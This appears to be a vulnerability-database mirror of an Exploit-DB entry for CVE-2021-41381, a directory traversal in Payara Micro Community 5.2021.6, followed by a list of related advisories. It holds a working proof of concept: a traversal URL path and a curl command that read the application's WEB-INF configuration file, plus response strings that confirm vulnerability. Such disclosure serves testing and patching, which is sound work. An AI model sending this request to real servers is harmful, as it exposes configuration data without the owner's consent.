Lucene search
K

Payara Micro Community 5.2021.6 - Directory Traversal

πŸ—“οΈΒ 04 Oct 2021Β 00:00:00Reported byΒ Yasser KhanTypeΒ 
exploitdb
Β exploitdb
πŸ”—Β www.exploit-db.comπŸ‘Β 402Β Views

Payara Micro 5.2021.6 - Directory Traversal exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Payara Micro Community 5.2021.6 - Directory Traversal Vulnerability
4 Oct 202100:00
–zdt
0day.today
Payara Platform Path Traversal Vulnerability
16 Nov 202200:00
–zdt
ATTACKERKB
CVE-2021-41381
23 Sep 202115:15
–attackerkb
Circl
CVE-2021-41381
23 Sep 202118:29
–circl
CNNVD
Payara Micro Community θ·―εΎ„ιεŽ†ζΌζ΄ž
23 Sep 202100:00
–cnnvd
CVE
CVE-2021-41381
23 Sep 202100:00
–cve
Cvelist
CVE-2021-41381
23 Sep 202100:00
–cvelist
Nuclei
Payara Micro Community 5.2021.6 Directory Traversal
28 Jun 202603:02
–nuclei
NVD
CVE-2021-41381
23 Sep 202115:15
–nvd
OpenVAS
'/.//WEB-INF/' Information Disclosure Vulnerability (HTTP)
6 Oct 202100:00
–openvas
Rows per page
# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
# Date: 01/10/2021
# Exploit Author: Yasser Khan (N3T_hunt3r)
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
# Version: Payara Micro Community 5.2021.6
# Tested on: Linux/Windows OS
# CVE : CVE-2021-41381

https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties

Reference:

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation